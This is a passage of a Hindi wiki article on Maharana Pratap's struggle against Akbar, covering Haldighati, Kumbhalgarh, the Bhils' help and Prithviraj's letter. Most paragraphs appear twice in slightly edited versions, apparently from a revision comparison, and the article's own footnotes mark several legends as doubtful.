प्रताप ने उत्तर दिया कि "आपसे मिलकर मुझे खुशी होगी।" वहाँ पर उपस्थित किसी व्यक्ति ने अभद्र भाषा में कह दिया कि "अपने साथ फूफ़ा को लाना मत भूलना।" जिस स्थान पर मानसिंह के लिए भोजन सजाया गया था, उसे अपवित्र हुआ मानकर खोद दिया गया और फिर वहाँ [[गंगा]] का [[जल]] छिड़का गया और जिन सरदारों एवं राजपूतों ने अपमान का यह दृश्य देखा था, उन सभी ने अपने को मानसिंह का दर्शन करने से पतित समझकर [[स्नान]] किया तथा वस्त्रादि बदले।<ref>इस कथा को लगभग सभी लेखकों ने मान्यता दी है। परन्तु डॉक्टर गोपीनाथ शर्मा इसे सही नहीं मानते। उनके मतानुसार दोनों की मुलाक़ात गोगुन्दा में हुई थी, न कि उदयसागर पर। टॉड ने यह कथा ख्यातों से ली है, जो अविश्सनीय नहीं है।</ref>[[मुग़ल]] सम्राट को सम्पूर्ण वृत्तान्त की सूचना दी गई। उसने मानसिंह के अपमान को अपना अपमान समझा। [[अकबर]] ने समझा था कि राजपूत अपने पुराने संस्कारों को छोड़ बैठे होंगे, परन्तु यह उसकी भूल थी। इस अपमान का बदला लेने के लिए युद्ध की तैयारी की गई और इन युद्धों ने प्रताप का नाम अमर कर दिया। पहला युद्ध [[हल्दीघाटी]] के नाम से प्रसिद्ध है। जब तक मेवाड़ पर किसी सिसोदिया का अधिकार रहेगा अथवा कोई भट्टकवि जीवित रहेगा, तब तक हल्दीघाटी का नाम कोई भुला नहीं सकेगा।
 
प्रताप ने उत्तर दिया कि "आपसे मिलकर मुझे खुशी होगी।" वहाँ पर उपस्थित किसी व्यक्ति ने अभद्र भाषा में कह दिया कि "अपने साथ फूफ़ा को लाना मत भूलना।" जिस स्थान पर मानसिंह के लिए भोजन सजाया गया था, उसे अपवित्र हुआ मानकर खोद दिया गया और फिर वहाँ [[गंगा]] का [[जल]] छिड़का गया और जिन सरदारों एवं राजपूतों ने अपमान का यह दृश्य देखा था, उन सभी ने अपने को मानसिंह का दर्शन करने से पतित समझकर [[स्नान]] किया तथा वस्त्रादि बदले।<ref>इस कथा को लगभग सभी लेखकों ने मान्यता दी है। परन्तु डॉक्टर गोपीनाथ शर्मा इसे सही नहीं मानते। उनके मतानुसार दोनों की मुलाक़ात गोगुन्दा में हुई थी, न कि उदयसागर पर। टॉड ने यह कथा ख्यातों से ली है, जो अविश्सनीय नहीं है।</ref>[[मुग़ल]] सम्राट को सम्पूर्ण वृत्तान्त की सूचना दी गई। उसने मानसिंह के अपमान को अपना अपमान समझा। [[अकबर]] ने समझा था कि राजपूत अपने पुराने संस्कारों को छोड़ बैठे होंगे, परन्तु यह उसकी भूल थी। इस अपमान का बदला लेने के लिए युद्ध की तैयारी की गई और इन युद्धों ने प्रताप का नाम अमर कर दिया। पहला युद्ध [[हल्दीघाटी]] के नाम से प्रसिद्ध है। जब तक मेवाड़ पर किसी सिसोदिया का अधिकार रहेगा अथवा कोई भट्टकवि जीवित रहेगा, तब तक हल्दीघाटी का नाम कोई भुला नहीं सकेगा।
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====शक्तिसिंह द्वारा राणा प्रताप की सुरक्षा====
 
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जीवन में पहली बार दोनों भाई प्रेम के साथ गले मिले। इस बीच चेतक ज़मीन पर गिर पड़ा और जब प्रताप उसकी काठी को खोलकर अपने भाई द्वारा प्रस्तुत घोड़े पर रख रहा था, चेतक ने प्राण त्याग दिए। बाद में उस स्थान पर एक चबूतरा खड़ा किया गया, जो आज तक उस स्थान को इंगित करता है, जहाँ पर चेतक मरा था। प्रताप को विदा करके शक्तिसिंह खुरासानी सैनिक के घोड़े पर सवार होकर वापस लौट आया। सलीम को उस पर कुछ सन्देह पैदा हुआ। जब शक्तिसिंह ने कहा कि प्रताप ने न केवल पीछा करने वाले दोनों मुग़ल सैनिकों को मार डाला अपितु मेरा घोड़ा भी छीन लिया। इसलिए मुझे खुरासानी सैनिक के घोड़े पर सवार होकर आना पड़ा। सलीम ने वचन दिया कि अगर तुम सत्य बात कह दोगे तो मैं तुम्हें क्षमा कर दूँगा। तब शक्तिसिंह ने कहा, "मेरे भाई के कन्धों पर [[मेवाड़]] राज्य का बोझा है। इस संकट के समय उसकी सहायता किए बिना मैं कैसे रह सकता था।" सलीम ने अपना वचन निभाया, परन्तु शक्तिसिंह को अपनी सेवा से हटा दिया। राणा प्रताप की सेवा में पहुँचकर उसे अच्छी नज़र भेंट की जा सके, इस ध्येय से उसने भिनसोर नामक दुर्ग पर आक्रमण कर उसे जीत लिया। [[उदयपुर]] पहुँचकर उस दुर्ग कों भेंट में देते हुए शक्तिसिंह ने प्रताप का अभिवादन किया। प्रताप ने प्रसन्न होकर वह दुर्ग शक्तिसिंह को पुरस्कार में दे दिया। यह दुर्ग लम्बे समय तक उसके वंशजों के अधिकार में बना रहा।<ref>शक्तिसिंह की कथा भी अन्य प्रमाणों से सिद्ध नहीं होती। शक्तिसिंह पहले ही [[चित्तौड़]] के आक्रमण के समय काम आ चुका था। सम्भवतः दोनों भाइयों को मिलाने की कथा भाटों ने गढ़ ली है।</ref> [[संवत]] 1632 ([[जुलाई]], 1576 ई.) के सावन मास की [[सप्तमी]] का दिन मेवाड़ के इतिहास में सदा स्मरणीय रहेगा। उस दिन मेवाड़ के अच्छे रुधिर ने हल्दीघाटी को सींचा था। प्रताप के अत्यन्त निकटवर्ती पाँच सौ कुटुम्बी और सम्बन्धी, [[ग्वालियर]] का भूतपूर्व राजा रामशाह और साढ़े तीन सौ [[तोमर]] वीरों के साथ रामशाह का बेटा खाण्डेराव मारा गया। स्वामिभक्त झाला मन्नाजी अपने डेढ़ सौ सरदारों सहित मारा गया और मेवाड़ के प्रत्येक घर ने बलिदान किया।
 
 
[[चित्र:Pratap-Singh-And-Chetak-Attacking-Man-Singh.jpg|thumb|300px|left|[[मान सिंह]] पर हमला करते हुए [[महाराणा प्रताप]] और चेतक]]
 
[[चित्र:Pratap-Singh-And-Chetak-Attacking-Man-Singh.jpg|thumb|300px|left|[[मान सिंह]] पर हमला करते हुए [[महाराणा प्रताप]] और चेतक]]
 
==कमलमीर का युद्ध==
 
==कमलमीर का युद्ध==
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विजय से प्रसन्न सलीम पहाड़ियों से लौट गया, क्योंकि [[वर्षा]] ऋतु के आगमन से आगे बढ़ना सम्भव न था। इससे प्रताप को कुछ राहत मिली। परन्तु कुछ समय बाद शत्रु पुनः चढ़ आया और प्रताप को एक बार पुनः पराजित होना पड़ा। तब प्रताप ने कमलमीर को अपना केन्द्र बनाया। मुग़ल सेनानायकों कोका और शाहबाज ख़ाँ ने इस स्थान को भी घेर लिया। प्रताप ने जमकर मुक़ाबला किया और तब तक इस स्थान को नहीं छोड़ा, जब तक पानी के विशाल स्रोत नोगन के कुँए का पानी विषाक्त नहीं कर दिया गया। ऐसे घृणित विश्वासघात का श्रेय [[आबू]] के देवड़ा सरदार को जाता है, जो इस समय अकबर के साथ मिला हुआ था। कमलमीर से प्रताप चावंड चला गया और सोनगरे सरदार भान ने अपनी मृत्यु तक कमलमीर की रक्षा की। कमलमीर के पतन के बाद राजा मानसिंह ने धरमेती और गोगुन्दा के दुर्गों पर भी अधिकार कर लिया। इसी अवधि में मोहब्बत ख़ाँ ने [[उदयपुर]] पर अधिकार कर लिया और अमीशाह नामक एक मुग़ल शाहज़ादा ने चावंड और अगुणा पानोर के मध्यवर्ती क्षेत्र में पड़ाव डाल कर यहाँ के भीलों से प्रताप को मिलने वाली सहायता रोक दी। फ़रीद ख़ाँ नामक एक अन्य मुग़ल सेनापति ने छप्पन पर आक्रमण किया और दक्षिण की तरफ़ से चावंड को घेर लिया। इस प्रकार प्रताप चारों तरफ़ से शत्रुओं से घिर गया और बचने की कोई उम्मीद न थी। वह रोज़ाना एक स्थान से दूसरे स्थान, एक पहाड़ी से दूसरी पहाड़ी के गुप्त स्थानों में छिपता रहता और अवसर मिलने पर शत्रु पर आक्रमण करने से भी न चूकता। फ़रीद ने प्रताप को पकड़ने के लिए चारों तरफ़ अपने सैनिकों का जाल बिछा दिया, परन्तु प्रताप की छापामार पद्धति ने असंख्य मुग़ल सैनिकों को मौत के घाट पहुँचा दिया। वर्षा ऋतु ने पहाड़ी नदियों और नालों को पानी से भर दिया, जिसकी वजह से आने जाने के मार्ग अवरुद्ध हो गए। परिणामस्वरूप मुग़लों के आक्रमण स्थगित हो गए।
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विजय से प्रसन्न सलीम पहाड़ियों से लौट गया, क्योंकि [[वर्षा]] ऋतु के आगमन से आगे बढ़ना सम्भव न था। इससे प्रताप को कुछ राहत मिली। परन्तु कुछ समय बाद शत्रु पुनः चढ़ आया और प्रताप को एक बार पुनः पराजित होना पड़ा। तब प्रताप ने कमलमीर को अपना केन्द्र बनाया। मुग़ल सेनानायकों कोका और शाहबाज ख़ाँ ने इस स्थान को भी घेर लिया। प्रताप ने जमकर मुक़ाबला किया और तब तक इस स्थान को नहीं छोड़ा, जब तक पानी के विशाल स्रोत नोगन के कुँए का पानी विषाक्त नहीं कर दिया गया। ऐसे घृणित विश्वासघात का श्रेय [[आबू]] के देवड़ा सरदार को जाता है, जो इस समय अकबर के साथ मिला हुआ था। कमलमीर से प्रताप चावंड चला गया और सोनगरे सरदार भान ने अपनी मृत्यु तक कमलमीर की रक्षा की। कमलमीर के पतन के बाद राजा मानसिंह ने धरमेती और गोगुन्दा के दुर्गों पर भी अधिकार कर लिया। इसी अवधि में मोहब्बत ख़ाँ ने [[उदयपुर]] पर अधिकार कर लिया और अमीशाह नामक एक मुग़ल शाहज़ादा ने चावंड और अगुणा पानोर के मध्यवर्ती क्षेत्र में पड़ाव डाल कर यहाँ के भीलों से प्रताप को मिलने वाली सहायता रोक दी। फ़रीद ख़ाँ नामक एक अन्य मुग़ल सेनापति ने छप्पन पर आक्रमण किया और दक्षिण की तरफ़ से चावंड को घेर लिया। इस प्रकार प्रताप चारों तरफ़ से शत्रुओं से घिर गया और बचने की कोई उम्मीद न थी। वह रोज़ाना एक स्थान से दूसरे स्थान, एक पहाड़ी से दूसरी पहाड़ी के गुप्त स्थानों में छिपता रहता और अवसर मिलने पर शत्रु पर आक्रमण करने से भी न चूकता। फ़रीद ने प्रताप को पकड़ने के लिए चारों तरफ़ अपने सैनिकों का जाल बिछा दिया, परन्तु प्रताप की छापामार पद्धति ने असंख्य मुग़ल सैनिकों को मौत के घाट पहुँचा दिया। [[वर्षा ऋतु]] ने पहाड़ी नदियों और नालों को पानी से भर दिया, जिसकी वजह से आने जाने के मार्ग अवरुद्ध हो गए। परिणामस्वरूप मुग़लों के आक्रमण स्थगित हो गए।
 
====परिवार की सुरक्षा====
 
====परिवार की सुरक्षा====
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इस प्रकार समय गुज़रता गया और प्रताप की कठिनाइयाँ भयंकर बनती गईं। [[पर्वत]] के जितने भी स्थान प्रताप और उसके परिवार को आश्रय प्रदान कर सकते थे, उन सभी पर बादशाह का आधिकार हो गया। राणा को अपनी चिन्ता न थी, चिन्ता थी तो बस अपने परिवार की ओर से छोटे-छोटे बच्चों की। वह किसी भी दिन शत्रु के हाथ में पड़ सकते थे। एक दिन तो उसका परिवार शत्रुओं के पँन्जे में पहुँच गया था, परन्तु कावा के स्वामिभक्त भीलों ने उसे बचा लिया। [[भील]] लोग राणा के बच्चों को टोकरों में छिपाकर जावरा की खानों में ले गये और कई दिनों तक वहीं पर उनका पालन-पोषण किया। भील लोग स्वयं भूखे रहकर भी राणा और परिवार के लिए खाने की सामग्री जुटाते रहते थे। जावरा और चावंड के घने जंगल के वृक्षों पर लोहे के बड़े-बड़े कीले अब तक गड़े हुए मिलते हैं। इन कीलों में बेतों के बड़े-बड़े टोकरे टाँग कर उनमें राणा के बच्चों को छिपाकर वे भील राणा की सहायता करते थे। इससे बच्चे पहाड़ों के जंगली जानवरों से भी सुरक्षित रहते थे। इस प्रकार की विषम परिस्थिति में भी प्रताप का विश्वास नहीं डिगा।
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इस प्रकार समय गुज़रता गया और प्रताप की कठिनाइयाँ भयंकर बनती गईं। [[पर्वत]] के जितने भी स्थान प्रताप और उसके परिवार को आश्रय प्रदान कर सकते थे, उन सभी पर बादशाह का आधिकार हो गया। राणा को अपनी चिन्ता न थी, चिन्ता थी तो बस अपने परिवार की ओर से छोटे-छोटे बच्चों की। वह किसी भी दिन शत्रु के हाथ में पड़ सकते थे। एक दिन तो उसका परिवार शत्रुओं के पँन्जे में पहुँच गया था, परन्तु कावा के स्वामीभक्त [[भील|भीलों]] ने उसे बचा लिया। भील लोग राणा के बच्चों को टोकरों में छिपाकर जावरा की खानों में ले गये और कई दिनों तक वहीं पर उनका पालन-पोषण किया। भील लोग स्वयं भूखे रहकर भी राणा और परिवार के लिए खाने की सामग्री जुटाते रहते थे। जावरा और चावंड के घने जंगल के वृक्षों पर [[लोहा|लोहे]] के बड़े-बड़े कीले अब तक गड़े हुए मिलते हैं। इन कीलों में बेतों के बड़े-बड़े टोकरे टाँग कर उनमें राणा के बच्चों को छिपाकर वे भील राणा की सहायता करते थे। इससे बच्चे पहाड़ों के जंगली जानवरों से भी सुरक्षित रहते थे। इस प्रकार की विषम परिस्थिति में भी प्रताप का विश्वास नहीं डिगा।
 
==अकबर द्वारा प्रशंसा==
 
==अकबर द्वारा प्रशंसा==
 
अकबर ने भी इन समाचारों को सुना और पता लगाने के लिए अपना एक गुप्तचर भेजा। वह किसी तरक़ीब से उस स्थान पर पहुँच गया, जहाँ राणा और उसके सरदार एक घने जंगल के मध्य एक वृक्ष के नीचे घास पर बैठे भोजन कर रहे थे। खाने में जंगली फल, पत्तियाँ और जड़ें थीं। परन्तु सभी लोग उस खाने को उसी उत्साह के साथ खा रहे थे, जिस प्रकार कोई राजभवन में बने भोजन को प्रसन्नता और उमंग के साथ खाता हो। गुप्तचर ने किसी चेहरे पर उदासी और चिन्ता नहीं देखी। उसने वापस आकर [[अकबर]] को पूरा वृत्तान्त सुनाया। सुनकर अकबर का [[हृदय]] भी पसीज गया और प्रताप के प्रति उसमें मानवीय भावना जागृत हुई। उसने अपने दरबार के अनेक सरदारों से प्रताप के तप, त्याग और बलिदान की प्रशंसा की। अकबर के विश्वासपात्र सरदार [[अब्दुर्रहीम खान-ए-खाना|अब्दुर्रहीम ख़ानख़ाना]] ने भी अकबर के मुख से प्रताप की प्रशंसा सुनी थी। उसने अपनी भाषा में लिखा, "इस संसार में सभी नाशवान हैं। राज्य और धन किसी भी समय नष्ट हो सकता है, परन्तु महान व्यक्तियों की ख्याति कभी नष्ट नहीं हो सकती। पुत्तों ने धन और भूमि को छोड़ दिया, परन्तु उसने कभी अपना सिर नहीं झुकाया। हिन्द के राजाओं में वही एकमात्र ऐसा राजा है, जिसने अपनी जाति के गौरव को बनाए रखा है।"
 
अकबर ने भी इन समाचारों को सुना और पता लगाने के लिए अपना एक गुप्तचर भेजा। वह किसी तरक़ीब से उस स्थान पर पहुँच गया, जहाँ राणा और उसके सरदार एक घने जंगल के मध्य एक वृक्ष के नीचे घास पर बैठे भोजन कर रहे थे। खाने में जंगली फल, पत्तियाँ और जड़ें थीं। परन्तु सभी लोग उस खाने को उसी उत्साह के साथ खा रहे थे, जिस प्रकार कोई राजभवन में बने भोजन को प्रसन्नता और उमंग के साथ खाता हो। गुप्तचर ने किसी चेहरे पर उदासी और चिन्ता नहीं देखी। उसने वापस आकर [[अकबर]] को पूरा वृत्तान्त सुनाया। सुनकर अकबर का [[हृदय]] भी पसीज गया और प्रताप के प्रति उसमें मानवीय भावना जागृत हुई। उसने अपने दरबार के अनेक सरदारों से प्रताप के तप, त्याग और बलिदान की प्रशंसा की। अकबर के विश्वासपात्र सरदार [[अब्दुर्रहीम खान-ए-खाना|अब्दुर्रहीम ख़ानख़ाना]] ने भी अकबर के मुख से प्रताप की प्रशंसा सुनी थी। उसने अपनी भाषा में लिखा, "इस संसार में सभी नाशवान हैं। राज्य और धन किसी भी समय नष्ट हो सकता है, परन्तु महान व्यक्तियों की ख्याति कभी नष्ट नहीं हो सकती। पुत्तों ने धन और भूमि को छोड़ दिया, परन्तु उसने कभी अपना सिर नहीं झुकाया। हिन्द के राजाओं में वही एकमात्र ऐसा राजा है, जिसने अपनी जाति के गौरव को बनाए रखा है।"
  
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परन्तु कभी-कभी ऐसे अवसर आ उपस्थित होते, जब अपने प्राणों से भी प्यारे लोगों को भयानक आवाज़ से ग्रस्त देखकर वह भयभीत हो उठता। उसकी पत्नी किसी पहाड़ी या गुफ़ा में भी असुरक्षित थी और उसके उत्तराधिकारी, जिन्हें हर प्रकार की सुविधाओं का अधिकार था, भूख से बिलखते उसके पास आकर रोने लगते। [[मुग़ल]] सैनिक इस प्रकार उसके पीछे पड़ गए थे कि भोजन तैयार होने पर कभी-कभी खाने का अवसर न मिलता था और सुरक्षा के लिए भोजन छोड़कर भागना पड़ता था। एक दिन तो पाँच बार भोजन पकाया गया और हर बार भोजन को छोड़कर भागना पड़ा। एक अवसर पर प्रताप की पत्नी और उसकी पुत्र-वधु ने घास के बीजों को पीसकर कुछ रोटियाँ बनाई। उनमें से आधी रोटियाँ बच्चों को दे दी गई और बची हुई आधी रोटियाँ दूसरे दिन के लिए रख दी गईं। इसी समय प्रताप को अपनी लड़की की चिल्लाहट सुनाई दी। एक जंगली बिल्ली लड़की के हाथ से उसके हिस्से की रोटी को छीनकर भाग गई और भूख से व्याकुल लड़की के आँसू टपक आये।<ref>इस प्रकार के कथानक असत्य हैं। प्रथम तो राणा प्रताप के कोई पुत्री ही नहीं थी, इसलिए उसका रोना अप्रासंगिक है। दूसरा, जिस पहाड़ी भाग में राणा घूमते-फिरते थे, वह भाग इतना उपजाऊ था कि उन्हें खाने-पीने में कठिनता का सामना करना पड़ा, यह समझ में नहीं आता। पिछले स्रोतों में भी इस कथा का कोई उल्लेख नहीं मिलता। ये तो कर्नल टॉड के मस्तिष्क की उपज मात्र है।</ref> जीवन की इस दुरावस्था को देखकर राणा का हृदय एक बार विचलित हो उठा। अधीर होकर उसने ऐसे राज्याधिकार को धिक्कारा, जिसकी वज़ह से जीवन में ऐसे करुण दृश्य देखने पड़ें और उसी अवस्था में अपनी कठिनाइयों को दूर करने के लिए उसने एक पत्र के द्वारा [[अकबर]] से मिलने की माँग की।
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परन्तु कभी-कभी ऐसे अवसर आ उपस्थित होते, जब अपने प्राणों से भी प्यारे लोगों को भयानक आवाज़ से ग्रस्त देखकर वह भयभीत हो उठता। उसकी पत्नी किसी पहाड़ी या गुफ़ा में भी असुरक्षित थी और उसके उत्तराधिकारी, जिन्हें हर प्रकार की सुविधाओं का अधिकार था, भूख से बिलखते उसके पास आकर रोने लगते। [[मुग़ल]] सैनिक इस प्रकार उसके पीछे पड़ गए थे कि भोजन तैयार होने पर कभी-कभी खाने का अवसर न मिलता था और सुरक्षा के लिए भोजन छोड़कर भागना पड़ता था। एक दिन तो पाँच बार भोजन पकाया गया और हर बार भोजन को छोड़कर भागना पड़ा। एक अवसर पर प्रताप की पत्नी और उसकी पुत्र-वधु ने घास के बीजों को पीसकर कुछ रोटियाँ बनाई। उनमें से आधी रोटियाँ बच्चों को दे दी गई और बची हुई आधी रोटियाँ दूसरे दिन के लिए रख दी गईं। इसी समय प्रताप को अपनी लड़की की चिल्लाहट सुनाई दी। एक जंगली बिल्ली लड़की के हाथ से उसके हिस्से की रोटी को छीनकर भाग गई और भूख से व्याकुल लड़की के आँसू टपक आये।<ref>इस प्रकार के कथानक असत्य हैं। प्रथम तो राणा प्रताप के कोई पुत्री ही नहीं थी, इसलिए उसका रोना अप्रासंगिक है। दूसरा, जिस पहाड़ी भाग में राणा घूमते-फिरते थे, वह भाग इतना उपजाऊ था कि उन्हें खाने-पीने में कठिनता का सामना करना पड़ा, यह समझ में नहीं आता। पिछले स्रोतों में भी इस कथा का कोई उल्लेख नहीं मिलता। ये तो [[कर्नल टॉड]] के मस्तिष्क की उपज मात्र है।</ref> जीवन की इस दुरावस्था को देखकर राणा का हृदय एक बार विचलित हो उठा। अधीर होकर उसने ऐसे राज्याधिकार को धिक्कारा, जिसकी वज़ह से जीवन में ऐसे करुण दृश्य देखने पड़े और उसी अवस्था में अपनी कठिनाइयों को दूर करने के लिए उसने एक पत्र के द्वारा [[अकबर]] से मिलने की माँग की।
 
====पृथ्वीराज द्वारा प्रताप का स्वाभिमान जाग्रत करना====
 
====पृथ्वीराज द्वारा प्रताप का स्वाभिमान जाग्रत करना====
 
प्रताप के पत्र को पाकर अकबर की प्रसन्नता की सीमा न रही। उसने इसका अर्थ प्रताप का आत्मसमर्पण समझा और उसने कई प्रकार के सार्वजनिक उत्सव किए। अकबर ने उस पत्र को पृथ्वीराज नामक एक श्रेष्ठ एवं स्वाभीमानी [[राजपूत]] को दिखलाया। पृथ्वीराज [[बीकानेर]] के नरेश का छोटा भाई था। बीकानेर नरेश ने [[मुग़ल]] सत्ता के सामने शीश झुका दिया था। पृथ्वीराज केवल वीर ही नहीं अपितु एक योग्य कवि भी था। वह अपनी कविता से मनुष्य के हृदय को उन्मादित कर देता था। वह सदा से प्रताप की आराधना करता आया था। प्रताप के पत्र को पढ़कर उसका मस्तक चकराने लगा। उसके हृदय में भीषण पीड़ा की अनुभूति हुई। फिर भी अपने मनोभावों पर अंकुश रखते हुए उसने अकबर से कहा कि "यह पत्र प्रताप का नहीं है। किसी शत्रु ने प्रताप के यश के साथ यह जालसाज़ की है। आपको भी धोखा दिया है। आपके ताज़ के बदले में भी वह आपकी आधीनता स्वीकार नहीं करेगा।" सच्चाई को जानने के लिए उसने अकबर से अनुरोध किया कि वह उसका पत्र प्रताप तक पहुँचा दे। अकबर ने उसकी बात मान ली और पृथ्वीराज ने राजस्थानी शैली में प्रताप को एक पत्र लिख भेजा।
 
प्रताप के पत्र को पाकर अकबर की प्रसन्नता की सीमा न रही। उसने इसका अर्थ प्रताप का आत्मसमर्पण समझा और उसने कई प्रकार के सार्वजनिक उत्सव किए। अकबर ने उस पत्र को पृथ्वीराज नामक एक श्रेष्ठ एवं स्वाभीमानी [[राजपूत]] को दिखलाया। पृथ्वीराज [[बीकानेर]] के नरेश का छोटा भाई था। बीकानेर नरेश ने [[मुग़ल]] सत्ता के सामने शीश झुका दिया था। पृथ्वीराज केवल वीर ही नहीं अपितु एक योग्य कवि भी था। वह अपनी कविता से मनुष्य के हृदय को उन्मादित कर देता था। वह सदा से प्रताप की आराधना करता आया था। प्रताप के पत्र को पढ़कर उसका मस्तक चकराने लगा। उसके हृदय में भीषण पीड़ा की अनुभूति हुई। फिर भी अपने मनोभावों पर अंकुश रखते हुए उसने अकबर से कहा कि "यह पत्र प्रताप का नहीं है। किसी शत्रु ने प्रताप के यश के साथ यह जालसाज़ की है। आपको भी धोखा दिया है। आपके ताज़ के बदले में भी वह आपकी आधीनता स्वीकार नहीं करेगा।" सच्चाई को जानने के लिए उसने अकबर से अनुरोध किया कि वह उसका पत्र प्रताप तक पहुँचा दे। अकबर ने उसकी बात मान ली और पृथ्वीराज ने राजस्थानी शैली में प्रताप को एक पत्र लिख भेजा।
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अकबर ने सोचा कि इस पत्र से असलियत का पता चल जायेगा और पत्र था भी ऐसा ही। परन्तु पृथ्वीराज ने उस पत्र के द्वारा प्रताप को उस स्वाभीमान का स्मरण कराया, जिसकी खातिर उसने अब तक इतनी विपत्तियों को सहन किया था और अपूर्व त्याग व बलिदान के द्वारा अपना मस्तक ऊँचा रखा था। पत्र में इस बात का भी उल्लेख था कि हमारे घरों की स्त्रियों की मर्यादा छिन्न-भिन्न हो गई है और बाज़ार में वह मर्यादा बेची जा रही है। उसका ख़रीददार केवल अकबर है। उसने [[सिसोदिया वंश]] के एक स्वाभिमानी पुत्र को छोड़कर सबको ख़रीद लिया है, परन्तु प्रताप को नहीं ख़रीद पाया है। वह ऐसा [[राजपूत]] नहीं, जो नौरोजा के लिए अपनी मर्यादा का परित्याग कर सकता है। क्या अब [[चित्तौड़]] का स्वाभिमान भी इस बाज़ार में बिक़ेगा।<ref>डॉक्टर गोपीनाथ शर्मा को इस पत्र-व्यवहार के बारे में शंका है। क्योंकि इसका उल्लेख फ़ारसी तवारीख़ों में नहीं है।</ref>
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अकबर ने सोचा कि इस पत्र से असलियत का पता चल जायेगा और पत्र था भी ऐसा ही। परन्तु पृथ्वीराज ने उस पत्र के द्वारा प्रताप को उस स्वाभीमान का स्मरण कराया, जिसकी खातिर उसने अब तक इतनी विपत्तियों को सहन किया था और अपूर्व त्याग व बलिदान के द्वारा अपना मस्तक ऊँचा रखा था। पत्र में इस बात का भी उल्लेख था कि हमारे घरों की स्त्रियों की मर्यादा छिन्न-भिन्न हो गई है और बाज़ार में वह मर्यादा बेची जा रही है। उसका ख़रीददार केवल अकबर है। उसने सीसोदिया वंश के एक स्वाभिमानी पुत्र को छोड़कर सबको ख़रीद लिया है, परन्तु प्रताप को नहीं ख़रीद पाया है। वह ऐसा [[राजपूत]] नहीं, जो नौरोजा के लिए अपनी मर्यादा का परित्याग कर सकता है। क्या अब [[चित्तौड़]] का स्वाभिमान भी इस बाज़ार में बिक़ेगा।<ref>डॉक्टर गोपीनाथ शर्मा को इस पत्र-व्यवहार के बारे में शंका है। क्योंकि इसका उल्लेख फ़ारसी तवारीख़ों में नहीं है।</ref>
 
 
====खुशरोज़ त्योहार====
 
====खुशरोज़ त्योहार====
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राठौर पृथ्वीराज के ओजस्वी पत्र ने प्रताप के मन की निराशा को दूर कर दिया और उसे लगा जैसे दस हज़ार राजपूतों की शक्ति उसके शरीर में समा गई हों। उसने अपने स्वाभिमान को क़ायम रखने का दृढ़संकल्प कर लिया। पृथ्वीराज के पत्र में "नौरोजा के लिए मर्यादा का सौदा" करने की बात कही गई। इसका स्पष्टीकरण देना आवश्यक है। 'नौरोजा' का अर्थ "वर्ष का नया दिन" होता है और पूर्व के मुसलमानों का यह धार्मिक त्योहार है। अकबर ने स्वयं इसकी प्रतिष्ठा की और इसका नाम रखा "खुशरोज़" अर्थात् 'खुशी का दिन' और इसकी शुरुआत अकबर ने ही की थी। इस अवसर पर सभी लोग उत्सव मनाते और राजदरबार में भी कई प्रकार के आयोजन किए जाते थे। इस प्रकार के आयोजनों में एक प्रमुख आयोजन स्त्रियों का मेला था। एक बड़े स्थान पर मेले का आयोजन किया जाता था, जिसमें केवल स्त्रियाँ ही भाग लेती थीं। वे ही दुकानें लगाती थीं और वे ही ख़रीददारी करती थीं। पुरुषों का प्रवेश निषिद्ध था। [[राजपूत]] स्त्रियाँ भी दुकानें लगाती थीं। अकबर छद्म वेष में बाज़ार में जाता था और कहा जाता है कि कई सुन्दर बालाएँ उसकी कामवासना का शिकार हो अपनी मर्यादा लुटा बैठतीं। एक बार राठौर पृथ्वीराज की स्त्री भी इस मेले में शामिल हुई थी और उसने बड़े साहस तथा शौर्य के साथ अपने सतीत्व की रक्षा की थी। वह शाक्तावत वंश की लड़की थी। उस मेले में घूमते हुए अकबर की नज़र उस पर पड़ी और उसकी सुन्दरता से प्रभावित होकर अकबर की नियत बिगड़ गई और उसने किसी उपाय से उसे मेले से अलग कर दिया। पृथ्वीराज की स्त्री ने जब क़ामुक अकबर को अपने सम्मुख पाया तो उसने अपने वस्त्रों में छिपी कटार को निकालकर कहा, "ख़बरदार, अगर इस प्रकार की तूने हिम्मत की। सौगन्ध ख़ा कि आज से कभी किसी स्त्री के साथ में ऐसा व्यवहार न करेगा।" अकबर के क्षमा माँगने के बाद पृथ्वीराज की स्त्री मेले से चली गई। [[अबुल फ़ज़ल]] ने इस मेले के बारे में अलग बात लिखी है। उनके अनुसार बादशाह अकबर वेष बदलकर मेले में इसलिए जाता था कि उसे वस्तुओं के भाव-ताव मालूम हो सकें।
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राठौर पृथ्वीराज के ओजस्वी पत्र ने प्रताप के मन की निराशा को दूर कर दिया और उसे लगा जैसे दस हज़ार राजपूतों की शक्ति उसके शरीर में समा गई हो। उसने अपने स्वाभिमान को क़ायम रखने का दृढ़संकल्प कर लिया। पृथ्वीराज के पत्र में "नौरोजा के लिए मर्यादा का सौदा" करने की बात कही गई। इसका स्पष्टीकरण देना आवश्यक है। 'नौरोजा' का अर्थ "वर्ष का नया दिन" होता है और पूर्व के मुसलमानों का यह धार्मिक त्योहार है। अकबर ने स्वयं इसकी प्रतिष्ठा की और इसका नाम रखा "खुशरोज़" अर्थात् 'खुशी का दिन' और इसकी शुरुआत अकबर ने ही की थी। इस अवसर पर सभी लोग उत्सव मनाते और राजदरबार में भी कई प्रकार के आयोजन किए जाते थे। इस प्रकार के आयोजनों में एक प्रमुख आयोजन स्त्रियों का मेला था। एक बड़े स्थान पर मेले का आयोजन किया जाता था, जिसमें केवल स्त्रियाँ ही भाग लेती थीं। वे ही दुकानें लगाती थीं और वे ही ख़रीददारी करती थीं। पुरुषों का प्रवेश निषिद्ध था। [[राजपूत]] स्त्रियाँ भी दुकानें लगाती थीं। अकबर छद्म वेष में बाज़ार में जाता था और कहा जाता है कि कई सुन्दर बालाएँ उसकी कामवासना का शिकार हो अपनी मर्यादा लुटा बैठतीं। एक बार राठौर पृथ्वीराज की स्त्री भी इस मेले में शामिल हुई थी और उसने बड़े साहस तथा शौर्य के साथ अपने सतीत्व की रक्षा की थी। वह शाक्तावत वंश की लड़की थी। उस मेले में घूमते हुए अकबर की नज़र उस पर पड़ी और उसकी सुन्दरता से प्रभावित होकर अकबर की नियत बिगड़ गई और उसने किसी उपाय से उसे मेले से अलग कर दिया। पृथ्वीराज की स्त्री ने जब क़ामुक अकबर को अपने सम्मुख पाया तो उसने अपने वस्त्रों में छिपी कटार को निकालकर कहा, "ख़बरदार, अगर इस प्रकार की तूने हिम्मत की। सौगन्ध खा कि आज से कभी किसी स्त्री के साथ में ऐसा व्यवहार न करेगा।" अकबर के क्षमा माँगने के बाद पृथ्वीराज की स्त्री मेले से चली गई। [[अबुल फ़ज़ल]] ने इस मेले के बारे में अलग बात 